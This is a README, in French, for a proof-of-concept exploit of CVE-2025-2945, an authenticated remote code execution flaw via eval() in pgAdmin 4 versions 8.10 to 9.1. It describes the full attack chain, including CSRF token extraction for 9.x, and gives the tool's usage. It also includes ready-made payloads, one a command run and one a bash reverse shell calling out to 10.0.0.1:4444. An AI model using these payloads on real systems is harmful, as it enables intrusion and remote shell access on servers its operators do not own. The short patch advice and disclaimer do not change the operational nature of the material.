
RCE authentifié dans pgAdmin 4 (8.10–9.1) via injection eval() dans le Query Tool. Il s'agit d'un PoC mis à jour avec des correctifs de compatibilité pour les changements d'authentification de pgAdmin 9.x
Preuve de concept pour CVE-2025-2945, une vulnérabilité critique d'exécution de code à distance dans pgAdmin 4.
Versions affectées : 8.10 à 9.1
Corrigé dans : 9.2 (publié le 4 avril 2025)
CVSS v3.1 : 9.9 (Critique)
L'outil de requête pgAdmin 4 expose un point de terminaison qui accepte un paramètre query_commited et le transmet directement au eval() intégré de Python sans aucune sanitisation. Un attaquant authentifié peut soumettre du code Python arbitraire via ce paramètre et le faire exécuter côté serveur sous le compte de service pgAdmin.
Le point de terminaison vulnérable est :
POST /sqleditor/query_tool/download/<trans_id>
Le champ query_commited dans le corps JSON est évalué comme du code Python sur le serveur.
Dans les versions de pgAdmin 4 antérieures à 9.2, le gestionnaire de téléchargement de l'outil de requête appelle eval() sur une entrée fournie par l'utilisateur :
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))
Aucune validation d'entrée, sandboxing ou liste blanche n'est appliqué. Toute expression Python valide s'exécute avec les privilèges du processus pgAdmin.
/authenticate/login, obtenir un cookie de session et un jeton CSRF/sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> avec les identifiants de la base de données pour établir une session de l'outil de requête/sqleditor/get_server_connection/<sgid>/<sid> en itérant sur les IDs jusqu'à ce que l'un retourne data.status == true/sqleditor/query_tool/download/<trans_id> avec {"query_commited": "<payload_python>"}, recevoir une réponse 500 confirmant l'exécutionLes anciennes versions de pgAdmin intégralent le jeton CSRF dans un champ <input> caché ou un cookie. La version 9.x est passée à une architecture React SPA où le jeton est intégré sous forme de JSON à l'intérieur d'un appel à window.renderSecurityPage() sur la page /login :
"csrfToken": "<token value>"
Le jeton est lié à la session (Flask-WTF / itsdangerous), donc le jeton obtenu depuis la première requête GET /login reste valide pour toute la session et peut être réutilisé pour tous les appels API suivants.
pgAdmin 9.x a divisé la route de connexion :
GET /login — affiche la page de connexion (contient le jeton CSRF)POST /authenticate/login — traite les identifiantsLes PoCs plus anciens qui envoient une requête POST directement vers /login recevront une 404 ou 405 sur les instances 9.x.
pip install requests faker
python3 poc.py \
--rhost <target_host> \
--username <pgadmin_email> \
--password <pgadmin_password> \
--db-user <db_username> \
--db-pass <db_password> \
--db-name <database_name> \
--payload "<python_expression>"
| Argument | Description |
|---|---|
--rhost | Nom d'hôte ou IP cible (sans schéma) |
--rport | Port cible (défaut : 80) |
--username | Email de connexion pgAdmin |
--password | Mot de passe de connexion pgAdmin |
--db-user | Nom d'utilisateur PostgreSQL |
--db-pass | Mot de passe PostgreSQL |
--db-name | Nom de la base de données |
--payload | Expression Python à évaluer sur le serveur |
--max-server-id | Nombre maximal d'IDs de serveur à sonder (défaut : 10) |
Exécution de commande :
--payload "__import__('os').system('id')"
Shell inversé :
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"
/sqleditor/query_tool/download/Mettre à niveau vers pgAdmin 4 version 9.2 ou ultérieure.
Ce dépôt est uniquement destiné à des fins éducatives et de tests autorisés. Ne pas l'utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.